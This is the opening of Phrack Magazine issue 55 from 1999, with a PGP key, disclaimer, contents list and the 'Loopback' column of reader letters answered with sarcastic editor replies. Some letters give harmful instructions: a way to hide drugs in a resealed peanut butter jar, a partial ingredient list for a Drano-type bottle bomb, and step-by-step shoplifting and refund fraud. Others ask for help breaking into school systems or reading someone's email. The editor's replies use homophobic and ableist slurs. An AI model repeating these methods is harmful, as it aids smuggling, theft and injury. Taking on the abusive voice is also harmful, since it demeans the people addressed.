mQGiBDdmijIRBADrabrDFYw6PRDrRRZsgetOOGo8oGROn4/H7q4L7rLm7weszn4L 8j1zY4AV4f3jFis0A/AqXPicxUHz0I3L6PzTMg11mmLbcj6wnAvr78LZ65y3Z5aA PEm/F7fNqAzFl9MCnUWa+53eH0TBKW7JdjpfCELeXTMLNsJREjL7f5qvyQCg/xqD g7dUtdIiDb7tm5DRhWqgDmED/iPUmujMt5x40bmf135vjev1Rle3nhHIe4fh58a7 VkZOmzqz/s3LninBuWcmuyZWShVGd8Hhd758yt41Xe/YHtEW4jSzYtE/1woYmp0K sZnFt+zIVAEm1mcVVV9+qrpEKVmbBLTR/oa+6A+t5/hFUjriTpAQUGF0xLzXNLYu c7cSA/0Q0rziq5xyuPbtUMKWE9zhxrt/SwfhunWx/n2vm2q9eFPfWqb9fDVuFrtv gwpaPVJ2CbM6F6c21pNGqm8zrSO8TYzgTScBKM80wn7ase3RBth36++N/Oq4Zczm froc9Och7qkgdZ7TkPCuorsyMc1169DXBxBSGfiQ85ylUYrbrLQRTWlrZSBELiBT Y2hpZmZtYW6JAEsEEBECAAsFAjdmijIECwMBAgAKCRAWHraAlbJmQSdiAKCjaUrs InxTXebFlAX5aUmdEKsD1wCfRZMfzv3BvQMKa6Rmbwlfzat0DFS5Ag0EN2aKMxAI APZCV7cIfwgXcqK61qlC8wXo+VMROU+28W65Szgg2gGnVqMU6Y9AVfPQB8bLQ6mU rfdMZIZJ+AyDvWXpF9Sh01D49Vlf3HZSTz09jdvOmeFXklnN/biudE/F/Ha8g8VH MGHOfMlm/xX5u/2RXscBqtNbno2gpXI61Brwv0YAWCvl9Ij9WE5J280gtJ3kkQc2 azNsOA1FHQ98iLMcfFstjvbzySPAQ/ClWxiNjrtVjLhdONM0/XwXV0OjHRhs3jMh LLUq/zzhsSlAGBGNfISnCnLWhsQDGcgHKXrKlQzZlp+r0ApQmwJG0wg9ZqRdQZ+c fL2JSyIZJrqrol7DVekyCzsAAgIH/jCj4drT8VSrxI2N3MlgkiQOMcaGLE8L3qbZ jyiVolqIeH+NEwyWzCMRVsFTHWfQroPrF30UsezIXuF0GPVZvlzSSB/fA1ND0CBz 9uK9oSYPwI8i513nMaF03bLWlB07dBqiDUcKgfm/eyPGu5SP+3QhVaERDnBOdolZ J6t3ER8GRgjNUyxXOMaZ4SWdB7IaZVph1/PyEgLLA3DxfYjsPp5/WRJcSbK3NZDG cNlmozX5WUM7cHwEHzmYSRDujs/e3aJLZPa7stS9YGYVPZcjxQoE6wr+jx4Vjps4 pW+f6iWvWEfYnYRJqzwe8318rX6OojqHttaQs8xNEqvPOTfkt12JAD8DBRg3Zooz Fh62gJWyZkERAj61AJ41XyTBasgKKYlOVnI4mWZYJemQIQCgiqaTkhpM6xCnqKD9 BKnOvDsNc44=

=IQ3Y

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

As always, ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED. Phrack goes out plaintext. You certainly can subscribe in plaintext.

phrack:~# head ‑20 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of the * editors and contributors, truthful and accurate. When possible, all facts * are checked, all code is compiled. However, we are not omniscient (hell, * we don't even get paid). It is entirely possible something contained * within this publication is incorrect in some way. If this is the case, * please drop us some email so that we can correct it in a future issue. *

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for the * entirely stupid (or illegal) things people may do with the information * contained herein. Phrack is a compendium of knowledge, wisdom, wit, and * sass. We neither advocate, condone nor participate in any sort of illicit * behavior. But we will sit back and watch.

*

*

* Lastly, it bears mentioning that the opinions that may be expressed in the * articles of Phrack Magazine are intellectual property of their authors. * These opinions do not necessarily represent those of the Phrack Staff. */

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ T A B L E O F C O N T E N T S ]

01 Introduction Phrack Staff 014 K

02 Phrack Loopback Phrack Staff 051 K

03 Phrack Line Noise various 037 K

04 Phrack Tribute to W. Richard Stevens Phrack Staff 004 K

05 A Real NT Rootkit Greg Hoglund 066 K

06 The Libnet Reference Manual route 181 K

07 PERL CGI Problems rfp 017 K

08 Frame Pointer Overwriting klog 020 K 09 Distributed Information Gathering hybrid 010 K 10 Building Bastion Routers with IOS Brett / Variable K 037 K

11 Stego Hasho Conehead 037 K

12 Building Into The Linux Network Layer kossak / lifeline 044 K 13 The Black Book of AFS nicnoc 011 K 14 A Global Positioning System Primer e5 015 K 15 Win32 Buffer Overflows... dark spyrit 078 K 16 Distributed Metastasis... Andrew J. Stewart 031 K 17 H.323 Firewall Security Issues Dan Moniz 015 K

18 Phrack World News disorder 021 K

19 Phrack Magazine Extraction Utility Phrack Staff 021 K

711 K

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"...Yeah, yeah, Phrack is still active you may say. Well let me tell you something. Phrack is not what it used to be. The people who make Phrack are not Knight Lightning and Taran King, from those old BBS days. They are people like you and me, not very different, that took on themselves a job that it is obvious that is too big for them. Too big? hell, HUGE. Phrack is not what it used to be anymore. Just try reading, let's say, Phrack 24, and Phrack 54."

‑ bjx of "PURSUiT" trying to justify his `old‑school` ezine. bjx wrote a riveting piece on "Installing Slackware" article. Fear and respect the lower case "i".

"We might get a PURSUiT meeting at DefCon 9 which will take place in year 2001. Meenwhile, it's an idea, because I belive 40% of the PURSUiT crew are going to DefCon 9, so we will try to convince the rest of the crew to join us."

‑ bjx of "PURSUiT" on his distant defcon plans. Hey, buddy, if you save a dollar a day for the next two years, you should have enough!

"I assume she did a jiggly +liar search on altavista..."

‑ gheap, when asked to venture a guess as how a certain person was found on a random corporate webpage.

"Hrm.. There just arent enough web sites that use the word `jiggly`."

‑ gheap, after putting some thought into it.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑[ EOF

Phrack Loopback

‑‑‑‑‑‑‑[ Phrack Magazine ‑‑‑ Vol. 9 | Issue 55 ‑‑‑ 09.09.99 ‑‑‑ 02 of 19 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 5 5 L O O P B A C K ]

‑‑‑‑‑‑‑‑[ Phrack Staff ]

Phrack Loopback is your chance to write to the Phrack staff with your comments, questions, or whatever. The responses are generally written by the editor, except where noted. The actual letters are perhaps edited for format, but generally not for grammar and/or spelling. We try not to correct the vernacular, as it often adds a colorful perspective to the letter in question.

Thanks to kamee and loadammo for their help.

0x01>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

route, you suck‑‑all you phrack people do.

[ Extra double dumb‑ass on us! ]

you would think 8 months is enough time to put out phrack 55, but NO.

[ You *would* think so, wouldn't you? I *knew* I should have quit my job. Well, I'm certain you spent the downtime working on your world‑renown top‑notch freely distributed highly‑technical ezine right? How many issues did you pump out? 2? 3? Where can we get it? ]

You say it will be out on August 31, now it is September 9?

[ 09.09.99 is so much more of an elite date than 08.31.99. In fact, 09.09.99 is the most elite date of our lifetime. ]

Faggots.

[ Is uh.. Is that a proposition? Are you looking for some action or something? ]

‑ grez@vulgar.net

[ Thanks man! Now everyone knows where to send the love! ]

0x02>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'm a San Francisco criminal defense attorney, and, because I believe curiosity should not be a crime and information wants to be free, I hereby volunteer my legal services to Phrack readers. For a free legal consultation, contact me, Omar Figueroa, Esq. at omar@alumni.stanford.org or (415) 986‑5591. http://www.2xtreme.net/omar/

[ Very cool. I'm sure many readers if nothing else will at least have questions regarding the law and how it impacts their rarified profession... Keep in mind Omar that many 'hacker'‑types requiring legal services are prone to idiocy and therefore not likely to have money. Hope you're up for some good ole‑fashioned pro bono work! ]

0x03>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey, glad to see your site back up, I was beginning to wonder what happened...

[ Alhambra tripped over the power cord. We didn't notice for a few months. Our bad. ]

While you were down, an item came up on my Zen calendar that I thought you might enjoy:

[ The `Zen Calander`? Does it have pictures of Shakyamuni Buddha in a bikini? ]

"The shell must be cracked apart if what is in it is to come out, for if you want the kernel you must break the shell. And therefore, if you want to discover nature's nakedness, you must destroy its symbols, and the farther you get in, the nearer you come to its essence. When you come to the One that gathers all things up into itself, there your soul must stay." ‑Meister Eckhart

hmmm....

[ Man that's just great. I'm going to go dunk my head in a pot of boiling water now. Be right back... ]

Anyway, Phrack is a *great* mag, keep up the good work.

[ Agreed. Thanks. ]

‑ ped xing

0x04>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I don't have a computer yet because I don't know to much about it??

[ Are you asking me or telling me? And if you're sans computer, how the hell are you writing me this email? OMG! Are we communicating through your mind?!?@! Are you using the /shining/? Ok. You can use yer shining to call me when you need my help... But don't be reading my mind between 4 and 5. That's _route's_ time. STAY OUT! ]

but the basic things but i been trying to get to some underground site which willput me in the write direction,into hacking...

[ I'm suggesting you spend that computer money on some at‑home ESL classes. ]

in your site is off the hook,it has infor that i can use thanx

[ Yes, when I'm watching a movie or I don't want to be bothered, I take www.phrack.com off the hook. ]

I know i may not be answered back but can you send me some site that may help me into starting my long journey of hacking

[ http://owl.english.purdue.edu/esl/ESL‑student.html ]

...thank you...in my email is weeddreams@yahoo.com

0x05>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi,

I am a wannabe hacker.

[ I'm a wannabe rockstar. Wanna hang out? ]

I have access to all the equipment. modems, routers, even my own pbx.

[ Well that's a start! I suggest the next step should be actually getting a computer of some sort so all that networking hardware doesn't go to waste! ]

Where will i find material describing typical methods to test the systems for security. (TCP‑ SYN attack, ip‑spoofing)

[ Phrack Magazine, issues 48 ‑ 53. ]

I am especially interested in DOS attacks.

[ And why not? You seem like a highly intelligent guy. I'll give you a heads up on a particularly nasty one (as yet unreleased) certain to take down even the most resilient hosts: Send the following 4 packets to the target host:

1 ‑ TCP SYN|RST with ISN == (2^32 ‑ 0x12A3) to a LISTENing port 2 ‑ TCP ACK with SEQ_ACK == (0x12A4) to same port 3 ‑ ICMP_PORT_UNREACH (IP header inside is irrelevant) 4 ‑ UDP to same port

Next, quickly douse your computer in lighter fluid, and set it on fire. Wait a few minutes, then try and reach that host. You'll find that you can't. Thank me later. ]

Any pointers will be appreciated.

[ void *you = NULL; ]

‑ LordKrishna

0x06>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I know quite a bit about computers and started learning to program (or trying at least ‑ I had trouble figuring out what the hell a variable was) when I was like seven.

[ Yah, variables are tricky ‑‑ don't use them. Stick to symbolic constants. ]

Now, I'm kinda' interested in hacking and phreaking, but I have seen many files out there from the 80's and early 90's that probably have little or no significance know.

[ As useless as 1950's porn. ]

I have seen plans for blue boxes and red boxes everywhere, but I am assuming that this does not work anymore, since as stupid as phone companies are often depicted, I'm sure they have managed to fix these problems by now.

[ I have seen plans for world domination everywhere, and not even those work. Personally, I want my money back. ]

However, I'm sure that there's still lots to do as far as phreaking goes, and definately hacking, because I hear about that all the time.

[ I don't think anyone's ever hacked a tic‑tac before. You could start there! ]

Anyway, I was wondering if you or someone else you know would care to write a file describing what works and doesn't in the modern world. I love to read Phrack, but a lot of the older issues are either over my head

[ Me too! I especially have problems with P25‑05, P27‑08, P28‑06. I don't understand the need for wild turkeys when hacking. Maybe it was a fad 10 years ago. ]

or seem more or less irrelevant. As you, and most other hackers/phreaks, probably grew up when computers were still in earlier stages,

[ Yep. My first computer was a rock and some dirt. ]

you probably know a lot more about how they work than newer programmers.

[ Oh hell yes! Think of a computer as a tiny, super complex street hooker. The more you put in.. Wait. No. That's not a good analogy... Um... A computer is like a piece of paper. Er. No. Um. I really have no idea how they work. ]

I can tell this just by reading this ASM book I got. I had no idea what kinda' stuff happened with the actual hardware and its fun to learn.

[ Hrm. Do you think maybe we could get together one night and you could read to me? Softly? ]

Basically, I just want a modern beginner's guide so I can go out and get my feet wet.

[ Well jump right in! The idiot pool has plenty of space and I'm told the new spa has a diving board. ]

Most of the literature I have seen on phreaking/basic hacking is really old, so if you know of anything modern I could look at, or would like to write something yourself, I'd appreciate this quite a bit.

[ Have you tried searching for "hack +modern" on altavista? ]

Thanks a lot, man.

‑ Cyber Guy

[ Great handle man! ]

0x07>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

hia chief

[ Heya dorko. ]

my nick is spider

[ How creative. Chalk has more flavor. ]

i'm a future hacker to be for now i need info about a free server

[ That's nice. I need info on how to make girls like me. I think we can probably help each other. ]

‑ spider.

[ Great handle man! ]

0x08>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

phreaks, i have recently discovered your site.

[ Congratulations. I've recently discovered how to love. ]

i must say i was impressed by the contents.

[ Well thank you very much! Sounds good so far... ]

i live in japan, the drug trade here is good but very expensive.

[ Hrm. Have you tried switching to generics? I know acetylsalicylic acid is sold in many generic forms. ]

so i import cid and x from the states...one problem....they have a police

[ Japan has to import Caller ID? ]

dog to sniff every item before it is mailed. i have found a way to by pass this. first get a new unopened peanut butter jar....take the seal off very

[ Hrm. Skippy or Jiff? Glass Jar or Plastic? Crunchy or smooth? And how big? What about peanut butter cookies? Will they work? Please people... Before you send in some half‑cocked scheme, take 2 minutes and do some research. ]

carefully dont rip it....scoop out a good amout of pb from the center.. carfully place "the stuff" inside a plastic bag and place into the jar... recover with the pb.....

[ What do I do with the extra peanut butter? Can I use it to make a samich? Or should I hold on to it for safe keeping? ]

place the seal back ontop and iron on....this gives back its unopened look...next place lid back on top and your ready to be inspected.

‑ Sloshkin

[ Well nice going Sloshkin! You've managed to ruined this completely lame drug trafficking technique for moronic drug smugglers! All FBI agents please contact your DEA pals! Tell them to be on the lookout for peanut butter. ]

0x09>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Due to the slow net,I have diffculty to download your excellent articles.

[ Yep. It's all the porn trafficking going on. ]

Can you do me the favor to send it to me by email?

[ Not a problem, expect them in 6 ‑ 8 weeks. ]

I will not do harm to anyone,I swear.

[ Better not. Phrack is equipped with explosive dye packs. If you do something illicit they will explode all over your hands and face and the authorities will be alerted. ]

0x0a>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I sing and play guitair in a fairly unique punk band called "The gods Hate Kansas".

[ Really? That's coincidental because I hate Kansas. ]

Our lyrics and beleifs tend to revolve around corporate and governmental sabotage.

[ Excellent idea. Let's collapse our economy and destroy the government. Better yet, let's beat terrorist extremists (like Osama Bin Ladin) to the punch and blow ourselves up. Do you have any idea how much they hate Americans? Oh wait, they're just `Wag The Dog` inventions, right? ]

Right now, we're gearing up to record in June. The new CD will only be about 5 songs so we decided to make it a "multi‑media" CD and include a couple videos, our website, and some misc. files on lockping, redboxing, and hacking.

[ Those free AOL CDs sound better. Must miss! ]

I was wondering if you might have anything that you might specificly want to contribute to this effort.

[ Just my unending sarcasm. Oh, BTW I was being sarcastic. ]

The punk scene is a wonderfull breeding ground of discontent and has a lot of paralels to hacker culture

[ Hackers are discontent? Hrm. Larry Wall seems pretty happy. And I don't think he likes punk. ]

and this CD has the potential to reach a lot of people..

[ Like all the 15 year old disgruntled suburban kids in Kansas who think they `have it rough at home` and `no one understands their shit` so they get their noses pierced along with lame haircuts and hang out at seedy hardcore clubs! ]

‑ Rion

0x0b>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

WUZ ^

[ How preciously retarded! ]

I found my schools dial‑up and I want you guys to try and hack it if you can. ITS: xxx‑7035 St. Francis Jr. High. Fuck it up as much as possible please!

[ Dude, somehow I don't think it would right for us to hack into a `special` education school. I think you should just get back to your room, back into your restraints, and back on the meds. ]

They have an entire network of macs and ibm's.

[ All hooked up to machines to keep you guys from drooling. ]

0x0c>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sup, I am interested in hacking. I do not know much about how to hack and want to learn more. I want to try and get a password from a certain somebody to read their mail.

[ Well, genius, TRY ASKING. ]

I opened up an account at wowmail to check it out. I found out that once you are in your own account that if u view source...it actually shows you your password!

[ NO WAY@!#! HOLY SHIT THAT'S INCREDIBLE! ]

So...is there a way to write a program where when a user tries to open their mail...somehow u can view source and send it back to your e‑mail account without the user ever finding out?

[ Jesus, let her go man and mind that restraining order. ]

Or is there another way u could tell me how I could obtain the password and how to go about it?

[ Spy for love. Pattern yourself after the Stasi Super‑Romeo Roland G. He won the affections of a lovely young woman named Margarete, an interpreter at NATO's SHAPE (Supreme Headquarters Allied Powers Europe). She divulged all kinds of secrets regarding Allied military manuvers and whatnot. ]

Thanx,

Steve

0x0d>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Just wondering if i can be a part of Phrack.com ?

[ Short answer: No. Long answer: Hell no. ]

Personal Information

~~~~~~~~~~~~~~~~~~~~

Handle: Action Man

Call me: Steve

Past Handle: Virtual Son, Renegade

[ Oooh! Lorenzo Lamas reads Phrack! I am torn between killing myself with a shovel or with the garbage disposal. ]

Handle Origin: You know when some phat name that pops into your head when you need a handle....well there you go./ "Action Man" from the movie "MasterMinds"

[ Master? Man head? Action? "Handle"? That's just too many homo‑erotic masturbation‑related words to be a conincidence. Less jerking, more schoolin' I say. ]

Height: 5'8"

Weight: 175lbs

[ Whoa. A bit heavy aren't we? You know it's never *too* early to NOT eat bear claws 2 at a time. ]

Eyes: Brown

Hair: Brown

Computers: IBM/Pentium TE(Technology Edge)

When i was in the 5‑6th grade i had an interest in computers and how they worked.

[ Hey great. Let try and find a homeless person that cares. ]

So my first comp was a ibm aptiva.

[ My first comp was a room upgrade in Vegas. ]

Not very fast but enough to get me through the day.

[ Man, it usually takes me 3 or 4 ketel‑1/tonics to get through the day. ]

I started to have the interest in hacking/phreaking when i was about in the 7th so that the computer stuff came easy to me..

[ c:\dos> vol

Volume in drive C is DOS

Volume Serial Number is 12A1‑1C20

c:\dos> label

Volume in drive C is DOS

Volume Serial Number is 12A1‑1C20

Volume label (11 characters, ENTER for none)? 3L1T3H4CK3R

c:\dos> vol

Volume in drive C is 3L1T3H4CK3R

Volume Serial Number is 12A1‑1C20

c:\dos> damn i rool

Bad command or file name

Keep the faith buddy... ]

at this point in time i am still crawling through the maze of hacking..

[ Me too! Well, kinda. I'm at the bottom of a vodka bottle. Same difference though. ]

reading books...looking through the articles at your site and spending endless nights on the comp throwing commands at computers i get in to and dont know what i am in for.

[ c:\dos> root

Bad command or file name

c:\dos> give actionman root

Bad command or file name

c:\dos> password root actionman

Bad command or file name

c:\dos> FUCKFUCKFUCKFUCKFUCKFUCKFUCK

Bad command or file name

c:\dos> whyamisolameohgodpleasesomeonekillme

Bad command or file name

c:\dos> ohgodimafourstarloser

Bad command or file name ]

So far in my boring ass town from where i dwell.

[ Huh? ]

Noone around here does what us Elite personnel do and it bothers me.

[ By `us` I am going to assume you mean anyone but myself and Phrack staff. Actually, I am going to demand it. ]

It bothers me that i cant hang with someone.

[ Maybe you should try to make some friends Action Man! Your life can't be all hacking and saving the world and riding around on a Harley! ]

I have to do it the hard way and that way is alone.

[ Get use to it. ]

Hopefully you can recrute me into the world of Phrack.com

[ I think it's time for an intervention. Get yourself a sponsor. ]

Thank you

‑ Action Man

0x0e>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I Started my search today for revenge.

[ Did you look under the bed? Whenever I'm trying to find something, like the T.V. remote, it's usually under the bed. ]

My goal to learn to hack or talk a bored halker into helping me hack my ex's computer.

[ Check out action man, I hear he's pretty damned good. ]

After reviewing sites that you have made of 'how to hack' I see that what you do isn't as easy as one might first mistaken.

[ It takes many many many hours to get this good. I'm talking dozens. ]

As far as my goal I now see it wouldn't do any good or accomplish shit. So thanx for making all this info available to a peon such as myself.

‑ Z‑taj

[ Wow, that was easy. I wish everyone gave up that quickly. ]

0x0f>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

How to make a Drano Bomb

by the Fellow Felon

WARNING!!!!!!: This Article is Intended for Educational Use Only!!

[ WHICH IS IRONIC GIVEN ITS SOURCE! ]

The Unabomber Staff is NOT responsible for any misuse of this information!!

[ Cretin. How do you misuse bomb creation plans? Isn't the intention to blow something up? ]

Setting these off within city limits is a crime and you Probably will get caught.

[ Not to mention the idiocy factor. ]

Enough of that.

A Drano Bomb is a simple way to scare the hell out of anyone.

It sounds like a Shotgun Blast.

[ How about a real shotgun? When fired, it sounds more like a shotgun blast and will scare more people. ]

First however, you must obtain some aluminum foil,

[ Foil, as we all know, can be tricky to track down. I've found that it usually runs in herds, and on a hot day foil herds tend to gather near lakes or rivers. One well placed head shot will bring your foil down. Course, then you gotta clean it... If you can't obtain this foil, do the next best thing and use your mom's best china. ]

"The Works"‑a toilet bowl cleaner, and a 20 ounce Pop bottle. You can use any toilet bowl cleaner as long as it says somewhere on ther bottle, "WARNING!!‑CONTAINS HYDROCHLORIC ACID!!".

[ Ok. Enough of this crap. Had I left this entire letter in, some retard would probably blow his dick off and somehow, I'd be liable. ]

0x10‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

hey, u got some real nice info here.

[ Hey man I've got some real nice *everything* here. Take only pictures, leave only footprints. ]

i used a few of the ideas for revenge and thanks alot for posting it.

[ People like you make people like me want to own guns. Well, _more_ guns... more ammunition anyway... ]

it really sucks that the punk ass govt. wants to take all this shit off the net.

[ The `punk ass` government rounds people like you up by the truckload and sticks them in pens to barter with the aliens who frequent our planet. "Ok, how many do you want this time to NOT enslave our entire race...?" Just remember to lift at the knees. ]

u know it all stems from fear that the public will finally rise up and take control.

[ Or that retards like you will try to build a draino bomb and blow off his dick. I say go for it. ]

anyway, i'd really appreciate it if u come across anything having to do with phuckin up cars or things that go "kaboom" let me send them my way.

[ PLEASE DON'T BREED. ]

hey, don't send the files here please. i phucked up on the address. send it master23@collegeclub.com. thanks. the other site is open to a few other people. it would be best for me if they didn't see it.

[ DON'T BE A PUPPET TO THE MAN! Stand up for yourself! ]

‑ master23

[ Hey, any relation to master22? He was in my shop class. ]

0x11>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi there !

I read, that you are good informated in hacking stuff, IP's...

[ I know a thing or two about a thing or two. ]

My question is:

I made a bet with a friend, that I'll hack to his computer.

[ A rousing game of cat and mouse! You rogue! ]

But there fore I need his IP.

[ What do you mean my horse is out of gas? ]

I have already tried much things but all did fail, do you

know a procedure to get his IP, he has got while he is online without NetBus or IRC ? I thought of finding out his DNS, or are there other ways to reach my aim ?

CU & olease write back !

‑ Kerstin

[ Kerstin.. That's a cute name. Hrm.. I bet you're cute. In fact, I think we might have a lot in common... Although.. Hrm.. Now that I think about it, your spelling and broken English are just queer enough that you're probably from a country where Kerstin is a guy's name... In which case, I'm going to have to ask you to leave. ]

0x12>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

WHAT IS THE REASON OF THE HOW TOO INFO ON THIS SITE.

[ OH MY DEAR GOD, IT'S WALKING CLOSER GUYS! ]

DO KNOW WHAT YOU ARE DOING TO OUR CHILDREN.

[ Don't tell anyone, but I heard it was television and radio. And the rap music. ]

SOMEONE TOLD ME TODAY THAT THIS THURS. IS BLOW UP YOUR SCHOOL NATIONAL HOLIDAY.

[ I'm willing to bet that you're one of those people who gets dismissed in shame because that "ability to differentiate fantasy from reality" part of your brain doesn't work quite right. ]

THEY TOLD ME CHECK THIS SITE OUT.

[ Well then! Even though you're an asshole, apparently your friends aren't. ]

I CAN NOT BELIEVE WHAT I HAVE READ.

[ You're talking about proof reading your email before sending it, right? Or maybe your broken caps lock key? ]

I AM SICK AT MY STOMACH!!!!!!!!!!!!!!!!!!!!!!!!

[ Let's say this Twinkie represents the normal amount of psychokinetic energy in the New York area. According to this morning's PKE sample, the current level in the city would be a Twinkie 35 feet long weighing approximately six hundred pounds. That's a big Twinkie. ]

WHAT IS THE PURPOSE PLEASE LET ME KNOW. I CANT FIGURE OUT 1 SINGLE REASON. JUST SICK...........

[ I think you have the wrong number. What number were you trying to dial? ]

‑ Tracy.

0x13>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Please help me.

I tested neptune program in linux kernel 1.2.8.

Target host's OS is Redhat 5.2.

But!! TCP SYN flooding cannot!!

Unreachable host address was 1.0.0.1

Target port was 23

SYN number was 100 ~ 10000000000.

After runningBut!! Connection established!!

Why??

[ Yoda needs to lay off the DOS attacks. ]

0x14>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

i need help hacking into the university of texas' system. any information at all would be helpful. i need to change my grades before the report cards come out. thanks.

‑ christina

i really need some help changing my grades. i got ot the university of texas at austin. if i fail i'll get kicked out of ut and my house. any information would be very very helpful! thanks.

[ Did you just stutter or was that a double‑dose of stupidity? ]

‑ christina

[ Hrm... Well muh dear, let's talk trade. Why don't you come on over Friday night, at say, 9ish? I'm sure we'll be able to work something out... And if you DO end up getting kicked out of your house... You can always stay at the Phrack Compound.. ]

0x15>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I am looking for a very simple and easy to follow recipe for the synthesis of amphetamine.... Anytype..... As long as it is relatively easy to follow..... Many thanx in advance

[ Ah yes. The lame legacy of Phrack past. Drug creation. Whoo. Dude. Get a fucking job and move out of your parent's basement before you blow it up with your ghetto drug lab attempt. ]

‑ Blonk

0x16>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi,

I was wondering if you would be able to place more articles about Australia. I am Aussie and would like to learn more about the systems in place over here.

[ HEY! DO YOU KNOW STEVE IRWIN? I heard once he got eaten by a crocodile and then, 2 weeks later, he climbed out of the croc's mouth and conked him on the head and then took him to a wildlife preserve! ]

Thanks for your time,

‑ King Kon

0x17>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Editor's of Phrack..

Hey, I was wondering if you would publish a lil information on my BBS..

[ YOU GOT IT LAD! Hey, if I telnet over there, is there a pot of gold waitin' for me? ]

I've been running my BBS since 10/30/99 without Too many users and with only a few daily callers.. and I'm looking for a way to get my BBS out in the public, as well as the underground public.. I read Phrack, and know that Alot of other ppl do as well. So I thought I would ask. Anyhow I need to run, if your intrested in helping me out, contact me at this Email address or you can telnet to my BBS.

The Leprechauns Lair BBS

Telnet: tllbbs.dyns.cx port23/ANSI

Dialin: (540) 636‑6417 28.8, 1‑N‑8/ANSI

‑Leprechaun Boy/SysOp of TLL BBS

0x18>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

selling cds to their owner:

part 1: record store

by:con‑x

1: start by pealing off all stickers (including magnettic strip) from the most expensive cds you can find.

[ Like `Yanni's Greatest Hits` and `The Carrot Top Collection vol. 11`? ]

note:

1; the more cds the more money‑

2; the bigger the record store the better.

[ Note: _more_ money is good because money can be exchanged for goods and services. Also note: shoes are good because they protect and cover your feet. ]

2: get a friend to get a bag from the store that you are scaming. have your friend stand infront of you. pretend to look at cds wile sliping the ones in the bag.

note:

1; beware of all the cameras around you.

2; dont get cought.

[ Note: getting "caught" would be bad because you would go to jail and not be able to

3: go up to the counter and say‑ "my mom bought thease cds for my birthday but I can't use them, can I get any refund for them?"

note:

1; accept any half price and/or voucher offers‑the less conversation, the less they will know you the next time.

[ Plus, since you don't know that many words, it helps to keep the jabber to a minimum. ]

2; this rarely happens but if you get caught, signal your friend to run up and say "excuse me, don't accept those cds‑ I just saw some guy trick him into returning those for him. I think that they were not paid for. if anything you should bust that guy over there because HE'S the real criminal".

